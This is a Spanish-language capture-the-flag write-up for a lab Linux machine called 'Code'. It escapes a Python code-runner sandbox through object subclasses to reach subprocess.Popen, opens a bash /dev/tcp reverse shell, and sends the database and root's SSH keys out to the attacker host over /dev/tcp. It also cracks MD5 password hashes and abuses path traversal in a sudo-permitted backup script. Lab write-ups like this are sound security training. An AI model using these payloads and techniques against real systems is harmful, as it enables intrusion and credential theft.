Habilidades: Python Sandbox Escape - No Builtins Modules, SQLite Database Analysis, Hash Cracking, Abusing bash
Script - Sudoers Privileges, Path Traversal
Introducción
Code es una máquina Linux de dificultad Easy
en la que debemos vulnerar un servicio web que ofrece la funcionalidad de interpretar código python
. Para ello utilizaremos módulos previamente cargados con el find de eludir restricciones, abusaremos de privilegios a nivel de sudoers
en un script de bash
realizando Path Traversal para vencer Code. Adicionalmente entenderemos el mecanismo protected_regular
en Linux a raíz de un conflicto de permisos en un directorio de escritura global.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c1 10.10.11.62
PING 10.10.11.62 (10.10.11.62) 56(84) bytes of data.
64 bytes from 10.10.11.62: icmp_seq=1 ttl=63 time=148 ms
--- 10.10.11.62 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 147.780/147.780/147.780/0.000 ms
Nmap Scanning
Realizaremos un escaneo de puertos con el propósito de identificar puertos abiertos en la máquina víctima
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.62 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 00:16 EDT
Nmap scan report for 10.10.11.62
Host is up (0.22s latency).
Not shown: 64841 closed tcp ports (reset), 692 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Haremos un escaneo que realice un pequeño reconocimiento a los servicios que hemos descubierto
nmap -p 22,5000 -sVC 10.10.11.62 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-11 00:17 EDT
Nmap scan report for 10.10.11.62
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.29 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Web Analysis - Port 5000
Vemos que existe un servicio web ejecutándose en el puerto 5000
. Al navegar hasta éste, veremos la siguiente web que parece ser un intérprete de código python
Intrusión / Explotación
(Failed) Reverse Shell
Si intentamos ejecutar una conexión hacia nuestra máquina, nos aparecerá un mensaje indicando el uso de palabras restringidas
Las siguientes palabras están restringidas:
eval, exec, import, open, os, read, system, write, subprocess, __import__, __ builtins__
Si interceptamos las solicitudes HTTP, veremos que se envía el código al servidor a través de un parámetro code
realizando una solicitud POST
POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
...
...
...
code=print("Hello World")
Python Sandbox Escape - No Builtins Modules
Como no podemos usar ciertas palabas, buscaremos una forma de ejecutar comandos en el servidor mediante el uso indirecto de módulos disponibles que se encuentren cargados en la memoria. Podemos ver detalles en el uso de esta técnica en el siguiente artículo de HackTricks
En
python
, todas las clases o subclases en ejecución heredan deobject
, esta es la raíz de la jerarquía de clases
Comenzaremos enumerando todas las subclases cargadas en la memoria, para esto utilizaremos la siguiente línea de código
().__class__.__bases__[0].__subclasses__()
# Alternativa
object.__subclasses__()
Esto mostrará todas las subclases disponibles, nuestro objetivo es buscar alguna que nos ayude a ejecutar comandos, tales como os.system
o subprocess.Popen
Intentaremos ver las subclases cargadas dentro del contexto actual con el siguiente comando, en este caso, encontraremos sbuprocess
curl -sX POST http://10.10.11.62:5000/run_code -d "code=print(object.__subclasses__())" | tr ',' '\n' | grep subprocess
<class 'subprocess.CompletedProcess'>
<class 'subprocess.Popen'>
<class 'asyncio.subprocess.Process'>
subprocess.Popen()
es una función dentro depython
que nos permite ejecutar cualquier comando en el sistema a través de la creación de un proceso secundario.
El siguiente código busca el valor índice de la función Popen
Nota cómo aprovechamos la concatenación para romper la palabra
Popen
en'Po' + 'Pen'
y así evitar el filtro de palabras restringidas
po_pen = 'Po' + 'pen'
for i, cls in enumerate(().__class__.__bases__[0].__subclasses__()):
if cls.__name__ == po_pen:
print(i, cls)
Este código debería retornar el índice donde se encuentra la función Popen()
curl -sX POST http://10.10.11.62:5000/run_code -d "code=po_pen+%3D+'Po'+%2B+'pen'%0A%0Afor+i%2C+cls+in+enumerate(object.__subclasses__())%3A%0A++++if+cls.__name__+%3D%3D+po_pen%3A%0A++++++++print(i%2C+cls)"
{"output":"317 <class 'subprocess.Popen'>\n"}
Command Execution Without subprocess.Popen()
A modo de prueba, ejecutaremos un ping
a nuestra máquina atacante. Comenzaremos escuchando tráfico ICMP por la interfaz tun0
tcpdump -i tun0 icmp
Al ejecutar la siguiente línea, utilizamos el valor del índice para llamar a la función directamente, enviando los parámetros necesarios
object.__subclasses__()[317](['ping', '-c', '1', '10.10.14.188'])
[317]
: Accede al índice317
, allí se encuentra la funciónPopen()
(['ping', ...])
: Instanciamos la clase llamando a la función y enviando los argumentos necesarios
También podemos hacerlo de la siguiente manera
().__class__.__bases__[0].__subclasses__()[317](['ping', '-c', '1', '10.10.14.188'])
De ambas formas logramos ejecutar el comando en el sistema como si lo hiciéramos importando el módulo subprocess
import subprocess
subprocess.Popen(['ping', '-c', '1', '10.10.14.188'])
Desde nuestra máquina atacante recibiremos la traza ICMP al enviar la solicitud
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:45:03.969532 IP 10.10.11.62 > 10.10.14.188: ICMP echo request, id 2, seq 1, length 64
13:45:03.969546 IP 10.10.14.188 > 10.10.11.62: ICMP echo reply, id 2, seq 1, length 64
Shell as app-production
El siguiente código python
nos debería otorgar una consola como el usuario app-production
, haciendo uso de Popen()
().__class__.__bases__[0].__subclasses__()[317](['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.188/443 0>&1'])
Antes de enviar el código anterior, recuerda iniciar un listener con
netcat
por el puerto que elegiste en el payload
nc -lvnp 443
También podemos enviar una solicitud POST mediante curl
curl -sX POST http://10.10.11.62:5000/run_code -d "code=().__class__.__bases__%5B0%5D.__subclasses__()%5B317%5D(%5B'bash'%2C+'-c'%2C+'bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.188%2F443++0%3E%261'%5D)"
En nuestra máquina recibiremos una consola como el usuario app-production
nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.188] from (UNKNOWN) [10.10.11.62] 54930
bash: cannot set terminal process group (2598): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
TTY Treatment
Haremos un tratamiento de la TTY para contar con una consola más interactiva, en la que podamos navegar y hacer Ctrl+C
sin que la shell nos diga “hasta la próxima…”
app-production@code:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
app-production@code:~/app$ ^Z
[1] + 341683 suspended nc -lvnp 443
root@parrot nmap # stty raw -echo; fg
[1] + 341683 continued nc -lvnp 443
reset xterm
Cambiaremos el valor de la variable de entorno TERM
para poder limpiar la pantalla con Ctrl+L
app-production@code:~/app$ export TERM=xterm
app-production@code:~/app$ stty rows 44 columns 184
Ya podremos ver la flag del usuario sin privilegios, se encuentra un directorio atrás
app-production@code:~/app$ cd
app-production@code:~$ cat user.txt
b84...
Escalada de Privilegios
Finding Privilege Escalation Path
En este punto debemos encontrar la forma de escalar nuestros privilegios en la máquina, ya que el usuario app-production
no es un usuario privilegiado, podemos intentar diversas técnicas manuales, como enumerar privilegios del usuario, permisos de archivos, binarios SUID, capabilities, etc.
Users
Existe un usuario llamado martin
, posiblemente debamos convertirnos en ese usuario en algún momento
app-production@code:~/app$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash
Sudoers Privileges
Comúnmente se listan los privilegios que podamos tener configurados dentro del archivo /etc/sudoers
, aunque muy probablemente se requiera contraseña
app-production@code:~/app$ sudo -l
[sudo] password for app-production:
Sorry, try again.
SUID Binaries
Otra técnica básica consiste en enumerar permisos suid
en binarios, los cuales podamos utilizar para ejecutar algún comando como root
, quien debe ser propietario de estos ejecutables
app-production@code:~/app$ find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/umount
/usr/bin/at
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Esta lista de binarios no representa una vía potencial para escalar nuestros privilegios, por lo que seguiremos enumerando el sistema
SQLite Database Analysis
Nos encontramos en el directorio donde se aloja la web, podemos intentar aprovechar recursos disponibles dentro de este directorio. Podemos listar recursivamente archivos con el comando find
aplicando un filtro de archivos con -type f
app-production@code:~/app$ find . -type f
./app.py
./static/css/styles.css
./templates/index.html
./templates/codes.html
./templates/register.html
./templates/login.html
./templates/about.html
./database.db
./__pycache__/app.cpython-38.pyc
./instance/database.db
Vemos que existe un archivo SQLite 3, que corresponde a un archivo de base de datos
app-production@code:~/app$ file instance/database.db
instance/database.db: SQLite 3.x database, last written using SQLite version 3031001
File Transfer
Para analizar este archivo de forma más cómoda, podemos transferir este archivo de base de datos a nuestra máquina atacante. Pondremos un puerto a la escucha para recibir el contenido del archivo database.db
nc -lvnp 4444 > database.db
Desde la máquina víctima iniciamos un socket TCP que será el canal de comunicación con nuestra máquina, simplemente hacemos cat
y redirigimos la salida a la ruta especial /dev/tcp
app-production@code:~/app$ cat instance/database.db > /dev/tcp/10.10.14.187/4444
Podemos verificar la integridad del archivo calculando su hash MD5 en ambas máquinas (atacante y víctima). Ambos hashes deben coincidir, de lo contrario indicaría un error en la transferencia
md5sum database.db
d0d91c72ba4889ef333414f3f07964a4 database.db
app-production@code:~/app$ md5sum instance/database.db
d0d91c72ba4889ef333414f3f07964a4 instance/database.db
Enumerando rápidamente la base de datos, podemos ver información sobre usuarios, donde vemos el nombre de usuario además de contraseñas en formato hash
sqlite3 database.db '.tables'
code user
sqlite3 database.db 'select * from user' -table
+----+-------------+----------------------------------+
| id | username | password |
+----+-------------+----------------------------------+
| 1 | development | 759b74ce43947f5f4c91aeddc3e5bad3 |
| 2 | martin | 3de6f30c4a09c27fc71932bfc68474be |
+----+-------------+----------------------------------+
Hash Cracking
Es muy probable que el formato sea MD5 por la salida que nos muestra hashid
y por los caracteres utilizados (a-f
y 0-9
o hexadecimal)
hashid '759b74ce43947f5f4c91aeddc3e5bad3'
Analyzing '759b74ce43947f5f4c91aeddc3e5bad3'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
Guardaremos rápidamente los hashes en un archivo para intentar crakearlos con alguna herramienta como john
sqlite3 database.db 'select * from user' | cut -d '|' -f3-3 > hashes.txt
Emplearemos un diccionario de contraseñas posibles para intentar comprobar si la contraseña es vulnerable forma parte de este listado. Además necesitaremos especificar el formato de los hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
development (?)
nafeelswordsmaster (?)
2g 0:00:00:00 DONE (2025-08-02 14:25) 4.878g/s 12748Kp/s 12748Kc/s 13244KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Disponemos de las siguientes credenciales para intentar conectarnos a la máquina
development:development
martin:nafeelswordsmaster
Shell as martin
Podremos conectarnos como el usuario martin
a través del protocolo ssh
ssh martin@10.10.11.62
martin@10.10.11.62\'s password:
Last login: Thu Jul 10 21:50:18 2025 from 10.10.14.188
martin@code:~$
Cambiaremos el valor de la variable de entorno TERM
para poder limpiar la pantalla con Ctrl+L
martin@code:~$ exeport TERM
Interesting Files
Dentro del directorio backups
que está en el directorio del usuario martin
, veremos los siguientes archivos
martin@code:~/backups$ ll
total 20
drwxr-xr-x 2 martin martin 4096 Apr 8 11:50 ./
drwxr-x--- 6 martin martin 4096 Apr 8 11:50 ../
-rw-r--r-- 1 martin martin 5879 Apr 8 11:50 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 martin martin 181 Apr 8 11:50 task.json
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
Abusing bash
Script - Sudoers Privileges
Listando privilegios sudo
podremos ver que tenemos la capacidad de ejecutar un script de bash sin necesidad de proporcionar contraseña
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
Este script pertenece al usuario root
y puede representar una vía potencial para escalar privilegios dependiendo de su comportamiento
martin@code:~/backups$ ls -l /usr/bin/backy.sh
-rwxr-xr-x 1 root root 926 Sep 16 2024 /usr/bin/backy.sh
Analizaremos este script en busca de alguna vulnerabilidad que nos permita ejecutar comandos en su ejecución
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Path Traversal
El script toma la ruta definida en un archivo .json
desde el campo directories_to_archive
, eliminando los intentos de Path Traversal (../
). Además, es necesario que la ruta sea /home
o /var
.
Si modificamos el archivo task.json
para realizar una pequeña prueba, comprobaremos cómo se mitiga un intento de Path Traversal (mira la diferencia cuando ejecutamos el comando que usa el script para sanitizar la ruta)
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/../../root"
],
"exclude": [
".*"
]
}
martin@code:~/backups$ jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/root"
],
"exclude": [
".*"
]
}
Haremos una copia del archivo task.json
para evitar que el cleanup
lo modifique la realizar cambios en él
martin@code:~/backups$ cp task.json /tmp/task.json
martin@code:~/backups$ pushd /tmp
/tmp ~/backups
Modificaremos el directorio a archivar para intentar eludir esta validación y realizar Path Traversal
martin@code:/tmp$ cat task.json | grep directories -A 1
"directories_to_archive": [
"/home/....//root/.ssh"
# Al aplicar la validación, no se logran eliminar todos los caracteres
martin@code:/tmp$ jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' task.json | grep directories -A 1
"directories_to_archive": [
"/home/../root/.ssh"
Exploiting
Modificaremos el archivo .json
para que luzca de la siguiente manera. Intentaremos archivar el directorio .ssh
del usuario root
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/../root/.ssh"
],
"exclude": []
}
Al ejecutar el script con el archivo .json
modificado, vemos que se genera un nuevo archivo .tar.bz2
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/08/02 20:23:23 🍀 backy 1.2
2025/08/02 20:23:23 📋 Working with test.json ...
2025/08/02 20:23:23 💤 Nothing to sync
2025/08/02 20:23:23 📤 Archiving: [/home/../root/.ssh]
2025/08/02 20:23:23 📥 To: /home/martin/backups ...
2025/08/02 20:23:23 📦
Iniciaremos un listener en nuestra máquina para recibir el archivo .tar.bz2
nc -lvnp 4444 > ssh-root.tar.bz2
Enviaremos este archivo generado a nuestra máquina atacante a través de un socket TCP
martin@code:~/backups$ cat code_home_.._root_.ssh_2025_August.tar.bz2 > /dev/tcp/10.10.14.188/4444
En nuestra máquina de forma inmediata recibiremos el archivo, recordemos que podemos verificar la integridad de éste con el comando md5sum
nc -lvnp 4444 > ssh-root.tar.bz2
listening on [any] 4444 ...
connect to [10.10.14.188] from (UNKNOWN) [10.10.11.62] 38048
Root Time
Descomprimiremos el archivo para ver su contenido, veremos el archivo de clave privada de root
bzip2 -d ssh-root.tar.bz2
tar -xf ssh-root.tar
cd root/.ssh
ls
authorized_keys id_rsa
Utilizaremos la clave privada de root
para conectarnos sin proporcionar contraseña
ssh root@10.10.11.62 -i id_rsa
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
Por último nos quedaría leer la flag ubicada dentro del directorio /root
root@code:~# cat root.txt
532...
Bonus: Understanding protected_regular
Ocurre algo extraño cuando usamos el script backy.sh
con un archivo task.json
que guardamos en directorios como /dev/shm
o /tmp
(world-writable
o de escritura global)
martin@code:/tmp$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root/.ssh"
],
"exclude": [
]
}
Al ejecutar el script como root
todo fallará por un conflicto de permisos
martin@code:/tmp$ sudo /usr/bin/backy.sh task.json
/usr/bin/backy.sh: line 19: task.json: Permission denied
2025/08/03 01:57:16 🍀 backy 1.2
2025/08/03 01:57:16 📋 Working with task.json ...
2025/08/03 01:57:16 💤 Nothing to sync
2025/08/03 01:57:16 📤 Archiving: [/home/....//root/.ssh]
2025/08/03 01:57:16 📥 To: /home/martin/backups ...
2025/08/03 01:57:16 📦
2025/08/03 01:57:16 💢 Archiving failed for: /home/....//root/.ssh
2025/08/03 01:57:16 ❗️ Archiving completed with errors
La línea 19
del script backy.sh
intenta sobrescribir el archivo al redirigir la salida, y aquí es cuando se ocasiona el error
martin@code:/tmp$ cat /usr/bin/backy.sh | sed -n '19p'
/usr/bin/echo "$updated_json" > "$json_file"
Theory
El conflicto es ocasionado por protected_regular
, el cual es un mecanismo de seguridad en Linux para evitar escrituras de archivos en directorios sticky
y de escritura global.
0
: Desactivado. Sin restricciones.
1
: Restringe escrituras conO_CREAT
en archivos regulares existentes que no pertenecen al usuario, si están en directoriosworld-writable
ysticky
, como/tmp
o/dev/shm
. Excepto si el archivo lo creó el dueño del directorio.
2
: Igual que1
, pero también aplica a directoriosgroup-writable
ysticky
.
O_CREAT
: Si el fichero no existe, será creado. El propietario (identificador de usuario) del fichero se fija al identificador de usuario efectivo del proceso.
Sticky Bit
: Es un permiso especial en sistemas Unix y Linux que, aplicado a un directorio, restringe la eliminación o modificación de archivos dentro de ese directorio solo al propietario del archivo, al propietario del directorio o al usuario root.
Practice
Podemos comprobar esta opción desde una sesión con privilegios
root@code:~# cat /proc/sys/fs/protected_regular
2
root@code:~# sysctl fs.protected_regular
fs.protected_regular = 2
Entendiendo esto, si intentamos aplicar la teoría aprendida cambiando el propietario del archivo task.json
root@code:/tmp# chown root:root task.json
Ahora el archivo task.json
ya pertenece al usuario root
, por lo que ya no deberíamos experimentar el mismo problema
martin@code:/tmp$ ll
total 12
drwxrwxrwt 2 root root 4096 Aug 3 03:24 ./
drwxr-xr-x 18 root root 4096 Feb 24 19:44 ../
-rw-r--r-- 1 root root 184 Aug 3 03:24 task.json
Al ejecutarlo, deberíamos ver el archivo .tar.bz2
generado correctamente y con los respectivos archivos
martin@code:/tmp$ sudo /usr/bin/backy.sh task.json
2025/08/03 03:24:42 🍀 backy 1.2
2025/08/03 03:24:42 📋 Working with task.json ...
2025/08/03 03:24:42 💤 Nothing to sync
2025/08/03 03:24:42 📤 Archiving: [/home/../root/.ssh]
2025/08/03 03:24:42 📥 To: /home/martin/backups ...
2025/08/03 03:24:42 📦
martin@code:/tmp$ tar -tf ~/backups/code_home_.._root_.ssh_2025_August.tar.bz2
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
Gracias por leer este artículo, espero te haya sido de ayuda. Te dejo la cita del día:
Do more than dream: work. — William Arthur Ward